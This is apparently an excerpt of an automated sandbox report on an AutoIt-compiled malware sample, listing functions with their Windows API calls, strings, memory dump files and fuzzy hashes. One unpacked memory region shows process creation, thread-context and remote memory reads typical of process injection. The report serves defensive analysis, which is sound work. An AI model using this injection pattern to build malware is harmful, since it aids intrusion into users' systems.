                                      Function 008BF8D0 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON
                                      Download Yara Rule
                                      Strings
                                      • Variable must be of type 'Object'., xrefs: 00903E92
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: Variable must be of type 'Object'.
                                      • API String ID: 0-109567571
                                      • Opcode ID: 29273dd2011a4832c4cd205a459943e296b26e6e23da96b178ec4d87d789d3ba
                                      • Instruction ID: 1c49bee60fb3a59ea34592ca377fbeb7be954b146857734837faa26a46a56e41
                                      • Opcode Fuzzy Hash: 29273dd2011a4832c4cd205a459943e296b26e6e23da96b178ec4d87d789d3ba
                                      • Instruction Fuzzy Hash: 88C25871A00219DFCB24CF58C894BADB7B1FB09314F24816AEA15EB392D775ED81CB91
                                      Function 008B57AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 008F40D9
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                      • Shell_NotifyIconW.SHELL32(00000001,?), ref: 008B588F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: IconLoadNotifyShell_String_wcslen
                                      • String ID: Line:
                                      • API String ID: 2289894680-1585850449
                                      • Opcode ID: 979f1e0a1879c08ad620f2eb0d21812d5d8d41bf8bf04c6754e5724bd88d3019
                                      • Instruction ID: 65f9ed497b108bb5690875b92d395aea10b508b799fb792d9f88839dd146719a
                                      • Opcode Fuzzy Hash: 979f1e0a1879c08ad620f2eb0d21812d5d8d41bf8bf04c6754e5724bd88d3019
                                      • Instruction Fuzzy Hash: 7D31CE71419704AAC324EB28DC45BEB77DCFB94710F00492BF699D2291DB709A49CB97
                                      Function 008CFD5B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                      Download Yara Rule
                                      APIs
                                      • __CxxThrowException@8.LIBVCRUNTIME ref: 008D05E8
                                        • Part of subcall function 008D3234: RaiseException.KERNEL32(?,?,?,008D060A,?,00000001,?,?,?,?,?,?,008D060A,?,00978748), ref: 008D3294
                                      • __CxxThrowException@8.LIBVCRUNTIME ref: 008D0605
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Exception@8Throw$ExceptionRaise
                                      • String ID: Unknown exception
                                      • API String ID: 3476068407-410509341
                                      • Opcode ID: 9b667d66b69065da51d336fd70df5b96e0b9fbca387a419234397f16bbacbce3
                                      • Instruction ID: ce997f783a9a35cd2022bfbe0fba733e625927ddc68993904f4ecaa92943acbc
                                      • Opcode Fuzzy Hash: 9b667d66b69065da51d336fd70df5b96e0b9fbca387a419234397f16bbacbce3
                                      • Instruction Fuzzy Hash: 0EF0C82490020D778B10B668EC46E5E777CFE00314F604677BE28E6692EB71DA168D92
                                      Function 00922F35 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00922F4D
                                      • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00922F62
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Temp$FileNamePath
                                      • String ID: aut
                                      • API String ID: 3285503233-3010740371
                                      • Opcode ID: bc463836cfcf418a326aa70b9fc4aa315c33ee2ec4b1f2dea0afc47145e01ab8
                                      • Instruction ID: e7cd3513f6a8859c5fc3d454d3777bc14690816f25f01639aa9fe0da607c6da5
                                      • Opcode Fuzzy Hash: bc463836cfcf418a326aa70b9fc4aa315c33ee2ec4b1f2dea0afc47145e01ab8
                                      • Instruction Fuzzy Hash: D2D05BB65113147BDA7097949C0DFC73A6CD705754F0001617655D1095DAF0D544C694
                                      Function 00937E80 Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 0093821C
                                      • TerminateProcess.KERNEL32(00000000), ref: 00938223
                                      • FreeLibrary.KERNEL32(?,?,?,?), ref: 00938404
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$CurrentFreeLibraryTerminate
                                      • String ID:
                                      • API String ID: 146820519-0
                                      • Opcode ID: c985d8f7247b2e36eb560def399d05631322fa24c8c4b89687771fe6fa793e16
                                      • Instruction ID: 9ac1c04867cef6067636c5994d6729dfa1e5eac80d8d278cfe5a521fcf406579
                                      • Opcode Fuzzy Hash: c985d8f7247b2e36eb560def399d05631322fa24c8c4b89687771fe6fa793e16
                                      • Instruction Fuzzy Hash: 1F124671A083019FD724DF28C484B6ABBE5FB89314F14895DF8898B352DB74E946CF92
                                      Function 008E5A39 Relevance: 4.7, APIs: 3, Instructions: 186COMMONLIBRARYCODE
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f1383fb56a4344b03fe85fbf4ecce78193d2d2dd4093a187f2bfc6c1a16f54eb
                                      • Instruction ID: 1f423671278450ec379c95f0c25dc407a507c90f5f3a7b9867717c3daebe0612
                                      • Opcode Fuzzy Hash: f1383fb56a4344b03fe85fbf4ecce78193d2d2dd4093a187f2bfc6c1a16f54eb
                                      • Instruction Fuzzy Hash: 3651C371D0468DABCB109FAAC845FAE7BB4FF4B328F14015AF505E7292D7709901DB62
                                      Function 008B29FE Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B34CE: MapVirtualKeyW.USER32(0000005B,00000000), ref: 008B34FF
                                        • Part of subcall function 008B34CE: MapVirtualKeyW.USER32(00000010,00000000), ref: 008B3507
                                        • Part of subcall function 008B34CE: MapVirtualKeyW.USER32(000000A0,00000000), ref: 008B3512
                                        • Part of subcall function 008B34CE: MapVirtualKeyW.USER32(000000A1,00000000), ref: 008B351D
                                        • Part of subcall function 008B34CE: MapVirtualKeyW.USER32(00000011,00000000), ref: 008B3525
                                        • Part of subcall function 008B34CE: MapVirtualKeyW.USER32(00000012,00000000), ref: 008B352D
                                        • Part of subcall function 008B3455: RegisterClipboardFormatW.USER32(00000004), ref: 008B34AD
                                      • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 008B2C75
                                      • OleInitialize.OLE32 ref: 008B2C93
                                      • CloseHandle.KERNEL32(00000000,00000000), ref: 008F3037
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Virtual$Handle$ClipboardCloseFormatInitializeRegister
                                      • String ID:
                                      • API String ID: 3094916012-0
                                      • Opcode ID: ab210a19dd878a5ee9b81278e460ab2cb268bbc2eecc0653209bd1072203c7cb
                                      • Instruction ID: 61dc23e198302d6d289862035ef6eaa6726a8dc40212745860d95163fd8e75f0
                                      • Opcode Fuzzy Hash: ab210a19dd878a5ee9b81278e460ab2cb268bbc2eecc0653209bd1072203c7cb
                                      • Instruction Fuzzy Hash: FF718BB49293008FC794EFB9ED56A953AE8FB89344744822EE41AD7372EB304443EF55
                                      Function 008E864E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • CloseHandle.KERNELBASE(00000000,00000000,?,?,008E856C,?,00978CD8,0000000C), ref: 008E86A4
                                      • GetLastError.KERNEL32(?,008E856C,?,00978CD8,0000000C), ref: 008E86AE
                                      • __dosmaperr.LIBCMT ref: 008E86D9
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseErrorHandleLast__dosmaperr
                                      • String ID:
                                      • API String ID: 2583163307-0
                                      • Opcode ID: 6c6cd369901f25ad0e6a5dbc07188e1df6d9561c8197c5b0c3250faa764df789
                                      • Instruction ID: 022df53a8772ce774b0a73a4fe704a84ad110e7e0276b7f452a94d52c2eef0e5
                                      • Opcode Fuzzy Hash: 6c6cd369901f25ad0e6a5dbc07188e1df6d9561c8197c5b0c3250faa764df789
                                      • Instruction Fuzzy Hash: 58016F336046D05BD664233A584DB3D2745FBA3738F290119F91CCB2F2DD608C819281
                                      Function 00922EF6 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,00922BF2,?,?,?,00000004,00000001), ref: 00922F10
                                      • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00922BF2,?,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00922F24
                                      • CloseHandle.KERNEL32(00000000,?,00922BF2,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00922F2B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: File$CloseCreateHandleTime
                                      • String ID:
                                      • API String ID: 3397143404-0
                                      • Opcode ID: 928b9ca3167a536f4b30330c7a6c959e1237a3e7549a17d3d123cd497e594881
                                      • Instruction ID: 9ca61aaa2fb7d803e1b6706c540d48fe8d43b7b347df44f335b67a1b3730511c
                                      • Opcode Fuzzy Hash: 928b9ca3167a536f4b30330c7a6c959e1237a3e7549a17d3d123cd497e594881
                                      • Instruction Fuzzy Hash: C7E086762992247BD6301755BC0EFCB3A1CD78BB71F104210FB18751D086A1250152A8
                                      Function 008C2C10 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON
                                      Download Yara Rule
                                      APIs
                                      • __Init_thread_footer.LIBCMT ref: 008C30F6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Init_thread_footer
                                      • String ID: CALL
                                      • API String ID: 1385522511-4196123274
                                      • Opcode ID: b9a26b0501299f80dc0acc6e870ab231fe6444f5ebbdfbf7fee08724668891ee
                                      • Instruction ID: 65aca005be99b45444acd2bbf8f431e5e4d3262e37a73c6372de647af32e6356
                                      • Opcode Fuzzy Hash: b9a26b0501299f80dc0acc6e870ab231fe6444f5ebbdfbf7fee08724668891ee
                                      • Instruction Fuzzy Hash: FA2244706082459FC724DF18C880F2ABBF5FF89314F14896DF5969B2A2D771E945CB82
                                      Function 00926E0F Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON
                                      Download Yara Rule
                                      APIs
                                      • _wcslen.LIBCMT ref: 00926E89
                                        • Part of subcall function 008B686D: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B689F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LibraryLoad_wcslen
                                      • String ID: >>>AUTOIT SCRIPT<<<
                                      • API String ID: 3312870042-2806939583
                                      • Opcode ID: 15f57893d306755f278db961c7bfadb197a4ddb86999b335096f1a2f3dd0b881
                                      • Instruction ID: 8bde30c4ff89c96e604e45b006640899794ecc579ff34dc40d193743f44635f9
                                      • Opcode Fuzzy Hash: 15f57893d306755f278db961c7bfadb197a4ddb86999b335096f1a2f3dd0b881
                                      • Instruction Fuzzy Hash: E5B16E311086118FCB14EF68D8919AEB7E9FF94310F44482DF896973A2DB70ED49CB92
                                      Function 008B56C2 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • Shell_NotifyIconW.SHELL32(00000000,?), ref: 008B5793
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: IconNotifyShell_
                                      • String ID:
                                      • API String ID: 1144537725-0
                                      • Opcode ID: 84acdef1b66a8146b5d91ed4d09fcbe3f566b6a10f5d9deb2658808b122860c4
                                      • Instruction ID: 90b9f96f84e64d3adf4006e9d32c90d876eb9e093f8df51de0fa809e24943ca5
                                      • Opcode Fuzzy Hash: 84acdef1b66a8146b5d91ed4d09fcbe3f566b6a10f5d9deb2658808b122860c4
                                      • Instruction Fuzzy Hash: 84313CB4615701CFD361DF24D884797BBE8FB49718F00092EE599C7350EB71A944CB96
                                      Function 008B368B Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                      Download Yara Rule
                                      APIs
                                      • 745EC8D0.UXTHEME ref: 008B36AD
                                        • Part of subcall function 008B3656: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 008B366B
                                        • Part of subcall function 008B3656: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 008B3682
                                        • Part of subcall function 008B445D: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,008B36D8,?), ref: 008B448D
                                        • Part of subcall function 008B445D: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,008B36D8,?), ref: 008B44A0
                                        • Part of subcall function 008B445D: GetFullPathNameW.KERNEL32(00007FFF,?,?,00981418,00981400,?,?,?,?,?,?,008B36D8,?), ref: 008B4515
                                        • Part of subcall function 008B445D: SetCurrentDirectoryW.KERNEL32(?,00000001,00981418,?,?,?,?,?,?,?,008B36D8,?), ref: 008B4596
                                      • SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 008B36E7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: InfoParametersSystem$CurrentDirectory$DebuggerFullNamePathPresent
                                      • String ID:
                                      • API String ID: 4255095483-0
                                      • Opcode ID: 0c51fc1ef6601be6f0fc3b93009f13302d6fa62f7ef381c7eb5390c5c90b8ac2
                                      • Instruction ID: c3497815e4697dd351b647a527a85bd73268d6edfff6e0fc33f4f9323b3b4557
                                      • Opcode Fuzzy Hash: 0c51fc1ef6601be6f0fc3b93009f13302d6fa62f7ef381c7eb5390c5c90b8ac2
                                      • Instruction Fuzzy Hash: 5AF03A7157C348AFE7006BA4FC0BBA53798F712B15F044416F204997E2DBB69451AB45
                                      Function 008BD010 Relevance: 2.1, APIs: 1, Instructions: 587COMMON
                                      Download Yara Rule
                                      APIs
                                      • __Init_thread_footer.LIBCMT ref: 008BD44E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Init_thread_footer
                                      • String ID:
                                      • API String ID: 1385522511-0
                                      • Opcode ID: 4894e3903a55ad9a45b2ca9a4171f60cbff15b2effc45fc043dc775ebea7b36b
                                      • Instruction ID: 62b27a42e31ea82cdd6788127e52a2bae6d7d47fe337478dedb75f2fa7a23f6c
                                      • Opcode Fuzzy Hash: 4894e3903a55ad9a45b2ca9a4171f60cbff15b2effc45fc043dc775ebea7b36b
                                      • Instruction Fuzzy Hash: CF32AD74A04309AFCB24DF58C894BBAB7B9FF85304F14806AE915AB391E774ED41CB91
                                      Function 00BE11FD Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateProcessW.KERNELBASE(?,00000000), ref: 00BE19BB
                                      • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00BE1A51
                                      • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00BE1A73
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$ContextCreateMemoryReadThreadWow64
                                      • String ID:
                                      • API String ID: 2438371351-0
                                      • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                      • Instruction ID: 988ff0bf5a4416836da68dc940cb0c2d0e60381ec41056f214d386f96b052eaf
                                      • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                      • Instruction Fuzzy Hash: 2112FF24E14658C6EB24DF64D8507DEB272EF68300F1094E9910DEB7A4E77A4F81CF5A
